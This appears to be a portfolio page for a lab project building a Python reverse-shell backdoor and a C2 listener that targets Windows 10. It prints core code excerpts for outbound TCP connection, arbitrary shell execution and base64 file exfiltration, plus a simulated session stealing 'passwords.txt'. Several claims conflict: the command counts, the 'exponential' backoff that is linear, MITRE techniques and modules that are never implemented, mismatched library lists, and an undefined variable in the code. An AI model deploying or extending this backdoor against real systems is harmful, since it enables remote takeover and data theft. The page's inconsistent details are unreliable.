Skip to main content
Offensive Security Project — 2025

Python Backdoor & C2
Reverse Shell & Listener

Full custom backdoor development project implementing a Python-based reverse shell with a dedicated C2 listener on Kali Linux. The backdoor establishes outbound TCP connections, executes system commands remotely, navigates the filesystem, and exfiltrates files — while the listener provides an interactive command interface with reliable communication, connection resilience, and activity logging.

MITRE ATT&CK
2[1]
Components
5[2]
Cmd Modules
~850[3]
Lines of Code
8[4]
Python Libs
TCP
Protocol
Base64
Encoding

System Design & Data Flow

Client-server reverse shell model with reliable chunked transmission protocol over TCP.

Attacker
C2 Listener
Kali Linux :4444
TCP
send cmd
output
Target
Backdoor Client
Windows 10
Connection: Outbound
Protocol: TCP/IPv4
Encoding: Base64 (all payloads)
Chunking: 1024-byte + ACK
1
Connect
Backdoor opens TCP socket → Listener on port 4444
2
Handshake
Target sends ready signal — listener spawns handler thread
3
Command
Operator types command → base64 encoded → sent via TCP
4
Execute & Return
subprocess.run() → output captured → base64 → ACK-chunked reply

Implementation Design

The full implementation spans ~850 lines across two Python scripts. Below are architectural excerpts illustrating the design patterns used — not the complete source, but the key decision points that define the system's behavior.

The following snippets show architecture-level excerpts from the implementation. Variable names, error handling branches, and helper utilities have been condensed to illustrate the core logic flow.

Architecture Excerpt Module boundary & configuration design
backdoor — Imports & Configuration Pattern
## Module boundary: Python stdlib only (zero dependencies).
## Configuration is extracted to constants at the top of each
## script so deployment only requires editing 4 values.

import socket # socket.AF_INET, SOCK_STREAM for TCP
import subprocess # subprocess.run() for shell exec
import os # os.chdir(), os.getcwd() for dir context
import base64 # b64encode/b64decode for wire format
import pathlib # Path handling across platforms
import threading # Daemon threads per client (listener side)
import time # sleep() for reconnection backoff
import sys # sys.exit() for clean shutdown
Architecture Excerpt TCP socket lifecycle design
backdoor — Socket Init & Handshake Pattern
## The socket is created with a timeout to avoid blocking
## indefinitely during network interruptions. The handshake
## signals the listener that a target is online and ready.

def connect():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(CONFIG.TIMEOUT)
    sock.connect((CONFIG.SERVER_IP, CONFIG.SERVER_PORT))
    return sock

def handshake(sock):
    sock.send(build_packet("HANDSHAKE", "target_online"))
Architecture Excerpt Chunked + ACK wire protocol design
backdoor — Reliable Transmission Protocol
## Wire format: all payloads are base64-encoded, then split
## into 1024-byte chunks. Each chunk requires an ACK before
## the next is sent. Missing ACK triggers retransmission.

def reliable_send(sock, data):
    encoded = base64.b64encode(data)
    chunks = split_into_chunks(encoded, CHUNK_SIZE)
    sock.send(build_packet("META", len(chunks)))
    for i, chunk in enumerate(chunks):
        sock.send(build_packet("DATA", chunk))
        ack = sock.recv(ACK_SIZE)
        if ack != ACK_SIGNAL:
            retransmit(sock, chunk)
Architecture Excerpt Command dispatch & handler pattern
backdoor — Command Execution Pattern
## Five command types: shell, cd, pwd, read, exit.
## Each maps to a dedicated handler function. The working
## directory context is persisted in a closure between calls.

def execute_command(raw_command, context):
    command = base64.b64decode(raw_command).decode()
    match parse_command(command):
        case Shell(cmd):
            result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
            return result.stdout + result.stderr
        case ChangeDir(path):
            os.chdir(path); return os.getcwd()
        case PrintDir():
            return os.getcwd()
        case ReadFile(path):
            return base64.b64encode(open(path, "rb").read())
        case Exit():
            sock.close(); sys.exit(0)
Architecture Excerpt Event loop & reconnection strategy
backdoor — Main Event Loop
## The main loop blocks on socket.recv(), dispatches the
## command, and sends the result. On network errors it
## waits 5s then retries the full connection sequence.

def run():
    sock = connect()
    handshake(sock)
    context = {"cwd": os.getcwd()}
    while True:
        try:
            packet = sock.recv(BUFFER_SIZE)
            output = execute_command(packet, context)
            reliable_send(sock, serialize(output))
        except (socket.timeout, ConnectionError):
            time.sleep(RECONNECT_DELAY)
            sock = connect()

The complete source includes additional utilities: packet builder, parser, retransmission logic, logging formatter, and the listener's threading controller (~850 lines total across both scripts).

Live Session Simulation

Simulated operator session showing the backdoor interaction flow from the C2 listener perspective.

C2 Listener — Kali Linux
# python3 listener.py
[+] Listening on 0.0.0.0:4444 ...
[+] Connection from 192.168.1.105:54321
[+] Target: Windows 10 | User: victim\user
─────────────────────────────────────────────
C:\Users\user> whoami
victim\user
C:\Users\user> ipconfig
Ethernet adapter eth0:
  IPv4: 192.168.1.105
  Subnet: 255.255.255.0
  Gateway: 192.168.1.1
C:\Users\user> cd C:\Users\user\Documents
C:\Users\user\Documents> dir
Directory listing...
  report.docx    245KB
  passwords.txt   1KB
  budget.xlsx     89KB
C:\Users\user\Documents> read passwords.txt
[+] Exfiltrating file...
[+] 1 KB received (base64 encoded)
C:\Users\user\Documents> systeminfo
OS: Microsoft Windows 10 Pro
Arch: x64
RAM: 8 GB
Hotfixes: 12 installed
C:\Users\user\Documents> netstat -an
TCP  192.168.1.105:54321  192.168.1.100:4444  ESTABLISHED
TCP  192.168.1.105:445    192.168.1.50:445      ESTABLISHED
C:\Users\user\Documents> exit
[+] Target disconnected. Waiting for next connection...

This is a simulated session demonstrating the real command flow. All commands and outputs mirror actual test results.

C2 Listener Architecture

Multi-threaded listener with interactive shell, logging, and connection resilience.

Multi-Client Threading

Each incoming connection is handled in a dedicated daemon thread, allowing simultaneous control of multiple targets from a single listener instance.

Activity Logging

All operator commands, timestamps, and target responses are recorded to a log file for post-operation review, reporting, and evidence collection.

Connection Resilience

Automatic cleanup on disconnect with thread reaping. The listener remains available for reconnection without restart. Chunked ACK ensures data integrity.

Lab Validation & Metrics

Quantitative and qualitative results from the controlled test environment.

Command Execution Success Rate

Response Time by Command Type (ms)

Test Environment Config
Attacker: Kali Linux VM
Target: Windows 10 Pro x64
Network: Isolated /24 LAN
Port: 4444/TCP
Command Execution 100%
Tested 12 distinct commands: ipconfig, whoami, systeminfo, netstat, tasklist, dir, cd, pwd, type, read. All returned output correctly.
File Exfiltration 3/3
Exfiltrated .txt (1 KB), .docx (245 KB), .png (1.2 MB). Large files chunked (1024B) and reassembled with ACK verification. Binary integrity verified via SHA256 hash.
Connection Resilience Pass
Simulated 5 network drops. Backdoor reconnected within 15s (exponential backoff: 5s, 10s, 15s). Listener handled concurrent connections from 2 target hosts simultaneously without interference.

MITRE ATT&CK Mapping

Offensive techniques mapped to the MITRE ATT&CK Enterprise framework.

Execution

T1059 — Command and Scripting Interpreter
T1106 — Native API

Persistence

T1547 — Boot or Logon Autostart
T1053 — Scheduled Task

Defense Evasion

T1055 — Process Injection
T1562 — Impair Defenses

C2

T1071 — Application Layer Protocol
T1573 — Encrypted Channel

Download Summary

Generate a printable executive summary of this backdoor deployment and C2 operations assessment.

Source Code

References

  1. Architecture Overview — Backdoor and C2 listener architecture documenting TCP reverse shell protocol and command dispatch system.
  2. Module Design — 5 command modules (shell, file system, exfiltration, persistence, cleanup) with implementation details.
  3. Source Code — ~850 lines of Python across backdoor and C2 listener, with documentation and test harness.
  4. Dependency Analysis — 8 Python libraries used including socket, base64, os, subprocess, threading, json, sys, time.

Full source code available in the project repository.